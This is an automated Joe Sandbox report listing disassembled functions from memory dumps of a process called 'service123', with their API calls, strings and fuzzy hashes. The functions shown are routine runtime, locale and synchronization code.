Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 54b8610a4703e301eac8dc204c7db2596546af20070704f466cdc758a6111638
Instruction ID: c7f79a6f26bf94be8b829b2a472a256e9b1b896cac65593b1d67aea6f9c94ddb
Opcode Fuzzy Hash: 54b8610a4703e301eac8dc204c7db2596546af20070704f466cdc758a6111638
Instruction Fuzzy Hash: 54814875A096159FDB00DF29C5807AEBBF5FF88314F15892DE99897310E730E960CB92

Function 6D064DB0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6D064E80
memcpy.MSVCRT ref: 6D064ED4
memcpy.MSVCRT ref: 6D064F68

Part of subcall function 6D065340: memcpy.MSVCRT ref: 6D0653D0

Strings

basic_string::replace, xrefs: 6D064FD9, 6D064FEC
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D064FF8

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 9ce9e755bdf0e24c6990adc051bda7553b73f1b75498a9843234be62c7901209
Instruction ID: e1c9a3c889564e7b86d57ebd054160e65469d276b38c248151154d3812f472f6
Opcode Fuzzy Hash: 9ce9e755bdf0e24c6990adc051bda7553b73f1b75498a9843234be62c7901209
Instruction Fuzzy Hash: 9F813575A08255AFDB00DF6DD49069EFBF5BF89654F11892EE898DB310E730D840CBA2

Function 6D06D5C0 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 153stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6D08F670: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F70D
Part of subcall function 6D08F670: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F738

strlen.MSVCRT ref: 6D06D695
memcpy.MSVCRT ref: 6D06D76E

Strings

Unknown error, xrefs: 6D06D60E
iostream error, xrefs: 6D06D7C2

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy$memmovestrlen
String ID: Unknown error$iostream error
API String ID: 1234831610-3609051425
Opcode ID: 1fd5e5c94d64112c0f3f726467cf6423ea661a76cfe5b159ce813e91597be977
Instruction ID: 95fa74a259716625e8eac1749ad27565f22ff53247b5010557fdb69d5a14d3f3
Opcode Fuzzy Hash: 1fd5e5c94d64112c0f3f726467cf6423ea661a76cfe5b159ce813e91597be977
Instruction Fuzzy Hash: 8E61E6B49083089FEB04DFA9C48479EBBF1BF88314F24852ED4599B355E7749845CFA2

Function 6CFFF840 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6CFFF85F
ReleaseSemaphore.KERNEL32 ref: 6CFFF8E3

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: ReleaseSemaphoremalloc
String ID:
API String ID: 755742884-0
Opcode ID: dbe509b7b468eea67819054815c45b04756fc6368b02270b8b92b9f37573d51d
Instruction ID: 89a880a49280e773f73a762651b35e6076fff399f30edb71ebe2e1a5d7c28cb9
Opcode Fuzzy Hash: dbe509b7b468eea67819054815c45b04756fc6368b02270b8b92b9f37573d51d
Instruction Fuzzy Hash: 4F3148B0909302DFDB50AF69DA8970A7BF0FB46318F15865DD878873A0D3B4D546CBA2

Function 6CFFFCE0 Relevance: 7.6, APIs: 5, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6CFFFCEC
ReleaseSemaphore.KERNEL32 ref: 6CFFFD7C
CreateSemaphoreW.KERNEL32 ref: 6CFFFDC7
WaitForSingleObject.KERNEL32 ref: 6CFFFE10

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWaitmalloc
String ID:
API String ID: 2768075653-0
Opcode ID: 5ea31b570c50b81e9609b45ff8459cf58f2f07c20ecc4e792632195940ccf75f
Instruction ID: e5acc2f96957a0d89fc9dc0d22d0ea9a6845e18dd0be9ef113e29a5d8d612290
Opcode Fuzzy Hash: 5ea31b570c50b81e9609b45ff8459cf58f2f07c20ecc4e792632195940ccf75f
Instruction Fuzzy Hash: 603116B0949301CFDB40AF69DA4975A7BF0EB46318F21825DD8788B390D3B4D546CBA2

Function 6D0B82D0 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6D0B82E5
strlen.MSVCRT ref: 6D0B8333
memcpy.MSVCRT ref: 6D0B8350
setlocale.MSVCRT ref: 6D0B8364
setlocale.MSVCRT ref: 6D0B839A

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 395a89876764b60fd51e72f0e1c56c9f71d93457ef21b3e0d261d51288098bca
Instruction ID: 5503c2f1f1eaf95b2878d6ef7c045e44a6b0adbc4538d3ae7a74f48c0f060635
Opcode Fuzzy Hash: 395a89876764b60fd51e72f0e1c56c9f71d93457ef21b3e0d261d51288098bca
Instruction Fuzzy Hash: A921D5B450D3119FE340EF69D48065EFBE0AF88658F45896EE6C887311E778C5418B82

Function 6D009530 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6D009549
_unlock.MSVCRT ref: 6D009571
calloc.MSVCRT ref: 6D0095BF

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction ID: fd50f1b8f34710c7e250569b3de7f4ddce9128aa85a2cc20393c3ade173ddf3f
Opcode Fuzzy Hash: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction Fuzzy Hash: 7E115E715082119FF740DF2DE48079ABBE0BF85340F0AC669D998CF245EB34D844CB92

Function 6D000290 Relevance: 7.5, APIs: 5, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6D0002BC
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,6D0004DE), ref: 6D0002CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6D0004DE), ref: 6D000300

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: 37801ee1c98d1bfd0c3f86bc300cb3775ecbf3880e83780d213b83e6af961035
Instruction ID: bdbb74277cc056f652337ecdef5dec0e3c7588cf3d9b39df345e767048fae6e3
Opcode Fuzzy Hash: 37801ee1c98d1bfd0c3f86bc300cb3775ecbf3880e83780d213b83e6af961035
Instruction Fuzzy Hash: E6F0D0B080D702EBF7107F69DA1936E7AB0BB43314F558A5CE07547290E7B54044CB93

Function 00524BFA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

@, xrefs: 00524647
(null), xrefs: 00524C27

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: 16f8ba539267160c2359749d96518b7417b67aaf517212ef894192df24f9f509
Instruction ID: e1013f5b3efd35213902a7e80a8ff9cb0d2a5004d168598ef585e3d969033f83
Opcode Fuzzy Hash: 16f8ba539267160c2359749d96518b7417b67aaf517212ef894192df24f9f509
Instruction Fuzzy Hash: C6A170356083A58BDB21DF24E0807AABFE1BF86714F148A1DD8D897382D735D906DF82

Function 6D0052CA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

@, xrefs: 6D004D17
(null), xrefs: 6D0052F7

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: (null)$@
API String ID: 0-1380778734
Opcode ID: aa5bb42edf77cc72dbc4686727f8ebb5011ac7fe76b36b485ee4b4bd115bd1b1
Instruction ID: 46dd72bbfb301077d8ead654094aa2547b59ee9d1dd087cb396b082879944547
Opcode Fuzzy Hash: aa5bb42edf77cc72dbc4686727f8ebb5011ac7fe76b36b485ee4b4bd115bd1b1
Instruction Fuzzy Hash: E3A17C7460C392ABF721CF24D0907AEBBE1BF89308F158A2DD9D887241D775D946CB86

Function 00521B00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

Strings

Unknown pseudo relocation bit size %d., xrefs: 00521C6D
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00521C20
Unknown pseudo relocation protocol version %d., xrefs: 00521DF3

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: fe9a4a0adb8af50b3d704dea9778a19302d308e84642d239f04ca77c46fff53d
Instruction ID: f6fe4f382b541cbe4770a3675c626234a75b1ed22088ea394d3027c79ea6b6ab
Opcode Fuzzy Hash: fe9a4a0adb8af50b3d704dea9778a19302d308e84642d239f04ca77c46fff53d
Instruction Fuzzy Hash: 8A81C575A00A26CBDB10DF28E88465BBFF1FFA7340F148529D854A72D5E330E815DB96

Function 6CFFA850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

Unknown pseudo relocation bit size %d., xrefs: 6CFFA9BD
Unknown pseudo relocation protocol version %d., xrefs: 6CFFAB43
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 6CFFA970

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 0-1286557213
Opcode ID: 2f3c30f889b05cbffcdba82490cc798ce319ffad8eabc3e80d80803ac029d462
Instruction ID: 482f91a5f63cc9c555a51a5b9de7991bd7e3ccb3c10a5e414e3feacefce6a8a3
Opcode Fuzzy Hash: 2f3c30f889b05cbffcdba82490cc798ce319ffad8eabc3e80d80803ac029d462
Instruction Fuzzy Hash: 1F715E3290421ACBDB10CF69C98079EB7F0FF49308F15852AD874A7768E370E946CB95

Function 005280D8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 005280F2
strchr.MSVCRT ref: 00528102
atoi.MSVCRT ref: 00528113

Strings

., xrefs: 005280F7

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction ID: 224968d73d025045b4a36e867287b58a296ad85da385061e85f842d78e900385
Opcode Fuzzy Hash: ada1008d35e41e10e64cf9da6c6253745884d5c573850742e5c05c36619c67f5
Instruction Fuzzy Hash: AAE0E6719057114AD7407F74D90A32A7DD17F81300F458C5CD484872C5DB799456D753

Function 6D009128 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6D009142
strchr.MSVCRT ref: 6D009152
atoi.MSVCRT ref: 6D009163

Strings

., xrefs: 6D009147

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 505f93b56d17674917f430adf96e29dc3bbb18f50f8bd546ee062c8e9c381715
Instruction ID: 3f83aff497268369d402e40edfe9cc9aca00ecc2e2e6486909137ae4a4514420
Opcode Fuzzy Hash: 505f93b56d17674917f430adf96e29dc3bbb18f50f8bd546ee062c8e9c381715
Instruction Fuzzy Hash: C6E0ECB1A087119AF7006F38D4093AAB6E1BF82304F8A886CD58897244E77D94459792

Function 6D009293 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6D00929F
GetProcAddress.KERNEL32 ref: 6D0092B3

Strings

advapi32.dll, xrefs: 6D009298
SystemFunction036, xrefs: 6D0092A8

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: b3405e6b9fca9c0765245949bb2c17981f8134665d084a62ef556af4f489d023
Instruction ID: 3cc8705db1dd38a79952046e8af466e7044e852452a54111b0395f9aab5bbd1c
Opcode Fuzzy Hash: b3405e6b9fca9c0765245949bb2c17981f8134665d084a62ef556af4f489d023
Instruction Fuzzy Hash: 16E04FB1899300DFE700AF78A50624ABBF0B70A310F04492ED09597200D7748444CB97

Function 6D001409 Relevance: 6.5, APIs: 3, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

5, xrefs: 6D0014D2

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: b58662a1cd9ca89016647dab1ebfabfda42ece0f7227376fa0c175a701764b44
Instruction ID: 1e139c72f3351d1bb3a4aa39a9707ad4306db40d428dac13af8a9ac2800faa48
Opcode Fuzzy Hash: b58662a1cd9ca89016647dab1ebfabfda42ece0f7227376fa0c175a701764b44
Instruction Fuzzy Hash: 4122EF75A087419FE720DF69C48475AFBE1BF89348F02892EE9D997310DB74E845CB82

Function 6D089CD0 Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 366COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6D089D9C
memset.MSVCRT ref: 6D089DFE

Strings

8Om0, xrefs: 6D089FB0, 6D089FA4
8Om0, xrefs: 6D089DA1, 6D089DBD

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memset
String ID: 8Om0$8Om0
API String ID: 2221118986-3021273838
Opcode ID: 8ba58bb87d473097b76a7706bd9bd5a780ccbd27147677ddf14cc249d002793c
Instruction ID: db5e3a5324758f36353d9cf65f13cb800cd8af44ef97c8de2a2cd7c632d93ba8
Opcode Fuzzy Hash: 8ba58bb87d473097b76a7706bd9bd5a780ccbd27147677ddf14cc249d002793c
Instruction Fuzzy Hash: 5EF159716083028FEB11DF29C480B1AB7F1FF8A318B25896CE8599B352D735E906CF91

Function 6CFFA340 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6CFFA3C5
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6D00C1CC), ref: 6CFFA3E0
free.MSVCRT ref: 6CFFA3EA

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: ba09fd09b318edcdcec8488a3632d2717b27cca16ce14085d098c3646ada0f08
Instruction ID: 483b7770ddddd850db54fc18dca28c6217ef04835f7f4edc74c82066c49e4587
Opcode Fuzzy Hash: ba09fd09b318edcdcec8488a3632d2717b27cca16ce14085d098c3646ada0f08
Instruction Fuzzy Hash: BB3181726097118BE3019F29D48431BBBE1EFC1758F254A2CEAF487774D771D4468B92

Function 6D0459F0 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6D045B24
memchr.MSVCRT ref: 6D045B43

Part of subcall function 6D0B82D0: setlocale.MSVCRT ref: 6D0B82E5

